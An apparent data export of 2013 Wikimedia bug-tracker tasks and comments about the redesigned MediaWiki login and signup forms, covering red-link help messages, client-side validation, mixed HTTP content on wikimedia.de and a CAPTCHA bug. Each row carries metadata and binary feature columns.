+%%%*** Bug 47704 has been marked as a duplicate of this bug. ***%%%",,,1367388158,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,False,,,-17,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0
+210233,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,"**swalling** wrote:
+
+Based on consultation with S Page, Matt Flaschen, and Ori, I've changed the bug title to reflect the soluton we've hit on. Here's the summary version:
+
+* Wikimedia-specific messages such as the username policy will be blank by default and migrated to Extension:WikimediaMessages for localization
+* There may still be some red links that need local customization, per comment 1, but they will be limited to Wikimedia communities that could conceivably make good use of such red links and have active communities to deal with them, with our help
+
+I'm going to mark a few other bugs related as duplicate of this, due to the new title which encompasses them as well.",,,1367388065,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,False,,,-17,True,1,0,0,1,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,1,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+210228,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,"(In reply to comment #6)
+> https://www.mediawiki.org/wiki/Manual:Page_customizations lists all the pages
+> that a wiki already needs to create to avoid red links. (I only found this
+> page
+> just now, it is unfortunate that the installation instructions don't mention
+> it.)  I added the three urls introduced by the new forms there, it will
+> change
+> as we work through these bugs.
+
+Thank you for the link. I hope you don't want me to make a list, but those pages 1) are not comparable to such a specific thing as a username policy or captcha help page, 2) are mostly not even shown as red links, 3) are not in the way like these red links on an important page like UserLogin.
+The only exception is edithelppage, which you removed on en.wiki.
+
+> 
+> These message URLs solve issues with the login and create account forms that
+> some non-WMF wikis have as well. If we make them blank by default it's less
+> apparent how those wikis can deliver the better experience. It's a tradeoff.
+
+I don't see any tradeoff. In particular, createacct-captcha-help-url linking to a nonexisting page really means laughing at people.
+In general, links are where you expect links to be (sidebar, footer) and it's always ""apparent"" how to add more elsewhere: it's what we have MediaWiki pages for, you just find a message where you want the link and edit it. The current new interface actually makes it harder, because it adds a separate system message, instead of letting you edit the message next to which you want to add your link as normally done in MediaWiki.",,,1367303425,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,True,,,-18,True,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0,1,0,1,0,1,1,1,1,1,1,1,1,0,1,1,0,0,1,1,1,0,1,0,0,0,1,0,1,0,1,0,1,1,1,1,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+210222,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,"To be specific, the three URLs assumed by the new login and create account ""VForm""s are
+* createacct-helpusername-url discussed in bug 47704
+* helplogin-url
+* createacct-captcha-help-url (only appears if the wiki is using FancyCaptcha)
+
+https://www.mediawiki.org/wiki/Manual:Page_customizations lists all the pages that a wiki already needs to create to avoid red links. (I only found this page just now, it is unfortunate that the installation instructions don't mention it.)  I added the three urls introduced by the new forms there, it will change as we work through these bugs.
+
+These message URLs solve issues with the login and create account forms that some non-WMF wikis have as well. If we make them blank by default it's less apparent how those wikis can deliver the better experience. It's a tradeoff.",,,1367268935,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,False,,,-18,True,1,0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,0
+210216,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,I commented laying out options for the username link at https://bugzilla.wikimedia.org/show_bug.cgi?id=47704#c12 .,,,1367268215,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,False,,,-18,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,0
+210210,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,"(In reply to comment #3)
+> This seems related to bug 47704.
+
+Yes, but that would be only a partial fix of the problem. Anyway, it's clear that Steven is the only person believing such pages must be forced down the throat of all wikis.",,,1367220727,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,True,,,-18,True,1,0,0,1,0,1,1,0,0,0,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+210203,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,This seems related to bug 47704.,,,1367193931,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,True,,,-18,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+210197,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,"(In reply to comment #1)
+> we are leaving the red links in and encouraging people to either edit the
+> message locally or simply redirect the links to the appropriate title.
+
+Annoying users to poke sysops is not the way, nor poking the sysops to fix something that is broken in most cases: please fix the interface.",,,1367176754,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,True,,,-18,True,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,1,1
+210191,[New UserLogin] Convert Wikimedia-specific messages to be blank in core by default,"**swalling** wrote:
+
+(In reply to comment #0)
+> The new UserLogin shows red links everywhere. I assume this was done to
+> compensate the removal of the wall of text on en.wiki, but it's not nice: on
+> most wikis those help pages won't exist and are not needed (username policy),
+> or are needed but shouldn't exist locally (logging in; bug 43591), or exist
+> but
+> under another title (every Wikipedia except en.wiki; it.wiki has been fixed,
+> fr.wiki not yet, most Wikipedias will never be fixed).
+> 
+> Simple solution: kill the links (e.g. createacct-helpusername-link) and leave
+> them to customisations of the preceding messages (e.g. userlogin-yourname),
+> which need to parse links and also some HTML if the grey is absolutely
+> needed,
+> and possibly to be copied to a new key if they're recycled from previous
+> interface.
+> 
+> Complex solution: identify if the page exist and don't link it if it doesn't
+> and/or link to MediaWiki.org, e.g.
+> https://www.mediawiki.org/wiki/Help:Logging_in .
+
+As noted in https://www.mediawiki.org/wiki/Account_creation_user_experience/Testing#Things_to_pay_attention_to_while_testing_both_interfaces we are leaving the red links in and encouraging people to either edit the message locally or simply redirect the links to the appropriate title. This is why redirects were invented. Most of these links, like the ones to basic help pages about login and signing up, exist on most of our projects in some form. For third party users, it's one of several things they may need to customize.",,,1367176032,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-w4lc7xuaj5ne3qtkzs43,task_subcomment,,True,c2,1,False,,,-18,True,1,0,1,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,1,1,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,1,1
+49685,Add password and username checking JS to core login and signup forms,"**Author:** `usermono`
+
+**Description:**
+ENWP had a nice little JS feature that checked the username and password against existing usernames and bad passwords. This was already written & isn't that hard to do, so it should be implemented into the ACUX deployment.
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: enhancement",Medium,50.0,1366932480,1386358113.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-juicavicgigcja5xpjqk,task_description,resolved,True,c2,1,False,False,False,-18,True,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+228703,Add password and username checking JS to core login and signup forms,"**swalling** wrote:
+
+I think this is a duplicate of 17544?
+
+%%%*** This bug has been marked as a duplicate of bug 17544 ***%%%",,,1386358113,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-juicavicgigcja5xpjqk,task_subcomment,,True,c2,3,False,,,14,True,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,1,1,0,1,0,0,1,0,0,1,0,1,0,0,0
+228697,Add password and username checking JS to core login and signup forms,"**swalling** wrote:
+
+(In reply to comment #4)
+> Bumping priority. Having to re-enter the passwords and solve a captcha for
+> each
+> attempt to find a good username is not very user-friendly. I observed
+> somebody
+> giving up registration because of that very recently, and suspect this is not
+> that rare. We want those new editors, so lets not make it harder than
+> necessary.
+
+To explain more...
+
+The version Mono refers to was a test version of clientside validation. The A/B test results were pretty good (+4% bump in registrations, which on enwiki alone would be 2-3,000 additional registrations a month). 
+
+However, this wasn't good enough for the targets we set (https://www.mediawiki.org/wiki/Account_creation_user_experience/Launch). We set a high standard for how much improvement we wanted in conversion, because with one developer on the project our time was limited. 
+
+S Page can chime in more, but the main thing that made creating complete clientside validation a major pain was the presence of extensions like AntiSpoof and Titleblacklist. More at bug 40648. If it wasn't for the blockers in that bug, we could have potentially implemented a simple but effective username/password validation system already.",,,1386357885,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-juicavicgigcja5xpjqk,task_subcomment,,True,c2,3,False,,,14,True,1,1,1,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,1,0,0,0,0,1,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+228692,Add password and username checking JS to core login and signup forms,"Bumping priority. Having to re-enter the passwords and solve a captcha for each attempt to find a good username is not very user-friendly. I observed somebody giving up registration because of that very recently, and suspect this is not that rare. We want those new editors, so lets not make it harder than necessary.",,,1386357141,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-juicavicgigcja5xpjqk,task_subcomment,,True,c2,3,False,,,14,True,1,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,1,0,0
+228687,Add password and username checking JS to core login and signup forms,"I'm removing this as a blocker.  As Steven said, it's good functionality we would like to have at some point.
+
+However:
+
+* It does not block rolling out to Commons.  It's already at https://commons.wikimedia.org/wiki/Special:UserLogin?useNew=1 as opt-in, and this doesn't block making it permanent (though there are other things that need to be confirmed).
+* It is not on English Wikipedia any more (when it was, it was temporary code in an extension), so it's not an enwiki-only enhancement.",,,1366933295,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-juicavicgigcja5xpjqk,task_subcomment,,True,c2,1,False,,,-18,True,1,0,0,1,1,1,1,0,1,0,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0
+228680,Add password and username checking JS to core login and signup forms,"**swalling** wrote:
+
+This was a part of our testing, but was expensive to build at the time. If you read the spec (https://www.mediawiki.org/wiki/Account_creation_user_experience/Launch) you can see why we made this call.
+
+This enhancement is nice, but even with the work on the account creation API by Brion, is not simple to design, test, and build. To be frank, this project has gone on a looong time, and it may be time to just defer this change in favor of more pressing experimental work.",,,1366932846,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-juicavicgigcja5xpjqk,task_subcomment,,True,c2,1,False,,,-18,True,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0
+228673,Add password and username checking JS to core login and signup forms,"The new forms are now in core, but these checks were not included in the initial version.",,,1366932714,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-juicavicgigcja5xpjqk,task_subcomment,,True,c2,1,False,,,-18,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+49653,wikimedia.de via HTTPS loads resources over HTTP,"When I visit <https://wikimedia.de/wiki/Hauptseite>, there are a few resources coming in via HTTP, causing my Web browser to throw warnings.
+
+<img alt="""" src=""http://upload.wikimedia.org/wikipedia/commons/thumb/6/66/Wikidata-logo-en.svg/170px-Wikidata-logo-en.svg.png"" width=""170"" height=""120"" />
+
+<img alt=""Wikipedianer auf Exkursion im Kirchenarchiv Kaufbeuren. Foto: Benutzerin:Elya, CC-BY-SA 3.0"" src=""http://upload.wikimedia.org/wikipedia/commons/thumb/0/09/GLAM-Aktivisten_im_Kirchenarchiv_Kaufbeuren_04.JPG/170px-GLAM-Aktivisten_im_Kirchenarchiv_Kaufbeuren_04.JPG"" width=""170"" height=""128"" />
+
+<img alt=""Logo von Wikivoyage"" src=""http://upload.wikimedia.org/wikipedia/commons/thumb/1/1b/Wikivoyage-logo-en-TTO-attempt.svg/170px-Wikivoyage-logo-en-TTO-attempt.svg.png"" width=""170"" height=""180"" />
+
+[a bunch of other images ...]
+
+<img src=""http://i.creativecommons.org/l/by-sa/3.0/88x31.png"" alt=""Attribution-Share Alike 3.0 Unported"" width=""88"" height=""31"" />
+
+<img src=""http://secure.wikimedia.de/piwik/piwik.php?idsite=2"" style=""border:0"" alt=""""/>
+
+This is probably the not the best place to report this issue, but I couldn't find a better place and I figured some of the German Wikimedians can be copied on this bug report and can forward this issue as necessary and appropriate.
+
+--------------------------
+**Version**: 1.20.x
+**Severity**: normal",Medium,50.0,1366906500,1369479390.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-qpbn6wpatwoooedw42lf,task_description,resolved,True,c2,1,True,False,True,-18,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1
+226838,wikimedia.de via HTTPS loads resources over HTTP,"Change 61390 abandoned by Siebrand:
+(bug 47653) Processing foreign API files protocol-relative
+
+Reason:
+I'm abandoning this patch set as it's been open for a long time without any outlook at the open issues being resolved. 
+
+If the submitter or anyone else would like to work on it again, this patch set can be re-activated by clicking ""Restore Change"". Please only do this if you are actually going to work on it immediately.
+
+https://gerrit.wikimedia.org/r/61390",,,1396723471,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qpbn6wpatwoooedw42lf,task_subcomment,,True,c2,3,False,,,31,True,1,1,0,1,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,0
+226831,wikimedia.de via HTTPS loads resources over HTTP,"(In reply to comment #6)
+> Patch needs rework.
+
+More than that, Anomie said ""Your analysis of the problem in the commit summary is not correct"". This bug is indeed misleading and is a duplicate of something the reporter already reported previously and that I had already clarified as bug 48133.
+
+*** This bug has been marked as a duplicate of bug 48133 ***",,,1369479390,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-qpbn6wpatwoooedw42lf,task_subcomment,,True,c2,1,True,,,-14,True,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,1,0,1
+226826,wikimedia.de via HTTPS loads resources over HTTP,Patch needs rework.,,,1368452302,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-qpbn6wpatwoooedw42lf,task_subcomment,,True,c2,1,True,,,-16,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+226821,wikimedia.de via HTTPS loads resources over HTTP,Related URL: https://gerrit.wikimedia.org/r/61390 (Gerrit Change Id40186d10019a77f8b827a6a67982d40f3e97f11),,,1367251100,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qpbn6wpatwoooedw42lf,task_subcomment,,True,c2,1,False,,,-18,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+226819,wikimedia.de via HTTPS loads resources over HTTP,"The protocol type that has been used to get the file info from commons.wikimedia.org gets cached by the parser cache. This will happen vice versa, if the parser caches when requesting with https.
+
+I customized the ForeignAPIRepo for commons to always use the secure protocol when requesting the commons API, but changing ForeignAPIRepo::getThumbUrl() to strip the protocol and make the src attribute protocol-relative seems to be the solution here.
+
+I will provide a patch this weekend.
+
+@MZMcBride: The other images that are not provided by commons were also changed to protocol-relative.",,,1367008264,,PHID-USER-viklzrmg5ah3vrnymwin,False,,,PHID-TASK-qpbn6wpatwoooedw42lf,task_subcomment,,True,c2,1,False,,,-18,True,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0
+226817,wikimedia.de via HTTPS loads resources over HTTP,"p858snake: What is ""upstream"" here???
+
+(In reply to comment #2)
+> @Sam: WMDE doesn't have a bug tracker for stuff like this, perhaps we could
+> just get a product here? 
+
+Please file a separate ticket to discuss this.",,,1366975809,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-qpbn6wpatwoooedw42lf,task_subcomment,,True,c2,1,True,,,-18,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,0,0,0,0,1
+226814,wikimedia.de via HTTPS loads resources over HTTP,"I have passed on responsibility for this a while ago, but i'll try to poke the relevant people, and help them fix it (I'm pretty sure this was my mistake).
+
+Adding Silke Meyer (who is technically responsible) and Kai Nissen (who has been managing the site).
+
+@Sam: WMDE doesn't have a bug tracker for stuff like this, perhaps we could just get a product here? 
+
+I'll re-open the bug with the new assignee; if you feel it's really in the way here, close it again. We'll figure out another solution, then.",,,1366969227,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-qpbn6wpatwoooedw42lf,task_subcomment,,True,c2,1,False,,,-18,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,1,1,0,0,0
+226811,wikimedia.de via HTTPS loads resources over HTTP,"This isn't the right place for this. WMF doesn't host the wikimedia.de wiki.
+
+I note Daniel is CC'd on this bug",,,1366938732,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-qpbn6wpatwoooedw42lf,task_subcomment,,True,c2,1,True,,,-18,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+49600,"Rename ""MediaWiki > User login"" to ""MediaWiki > User login and signup""","Pasting an email from Matthew Flaschen here:
+
+Steven Walling suggests that the MW ""User login"" component is meant to
+include signup.  There are definitely signup-related things at
+https://bugzilla.wikimedia.org/buglist.cgi?list_id=196453&resolution=---&resolution=LATER&resolution=DUPLICATE&query_format=advanced&component=User%20login&product=MediaWiki
+
+So could you rename ""User login"" to ""User login and signup""?
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Medium,50.0,1366792260,1366792348.0,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,False,PHID-TASK-442m7atnjsqrr5wgpwtv,task_description,resolved,True,c2,1,True,False,True,-18,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,0,1,1,0,0,1,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,0,1,0,1,0,0,0
+223459,"Rename ""MediaWiki > User login"" to ""MediaWiki > User login and signup""",Done.,,,1366792348,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-442m7atnjsqrr5wgpwtv,task_subcomment,,True,c2,1,True,,,-18,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+49392,Move signup call to action in new login,"**Author:** `usermono`
+
+**Description:**
+This is a design suggestion: move the create account call to action in the new ACUX user login page to the right. This would help fill the massive white space there.
+
+See http://awesomescreenshot.com/0a316de0b2 for a visual demo.
+
+One other idea would be to center everything to even out that white space. Also the language selector should be moved to the sidebar like all other Commons pages or somewhere else - it doesn't fit with the minimalist look here.
+
+It just seems a little bland with all that white. A border/shadow around the login box if it's centered might do the trick. Another idea would be to add a huge picture in that space with the CTA there, similar to http://outlook.com
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1366328820,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-u5tlqpbpzwm6vtcyapeq,task_description,open,True,c2,1,False,False,,-19,True,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,1,1,1,0,1,1,1,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+210618,Move signup call to action in new login,"**massaf** wrote:
+
+Agreed with Steven. It's a good idea and we should test it. Sadly, we're a little constrained on visual treatments in general because whatever we have to do needs to look right in a full-screen layout (not to mention not break the Vector/MonoBook look and feel too drastically). 
+
+Re: Borders
+We're trying to avoid borders on UI elements if we can (Wikipedia is already very boxy and can trigger some claustrophobia if we're not careful), but light separators might be workable.
+
+http://i.imgur.com/W9SDoNx.png",,,1366665310,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-u5tlqpbpzwm6vtcyapeq,task_subcomment,,True,c2,1,False,,,-19,True,1,0,1,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1,1,1,0,0,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+210611,Move signup call to action in new login,"**swalling** wrote:
+
+I think the placement and style of the signup call to action is something we should potentially A/B test post-launch to measure the effectiveness of different placements. I agree there is a lot of whitespace in the login form currently.",,,1366329565,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-u5tlqpbpzwm6vtcyapeq,task_subcomment,,True,c2,1,False,,,-19,True,0,1,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+49371,badlogin CAPTCHA doesn't work in new login form,"The new vertical login form moves the header contents (if any) out of the form. This means that the captcha that appears (by default after three bad login attempts) doesn't work!
+
+To reproduce, visit http://www.mediawiki.org/w/index.php?title=Special:UserLogin&useNew=1 and enter a bad password.
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: normal
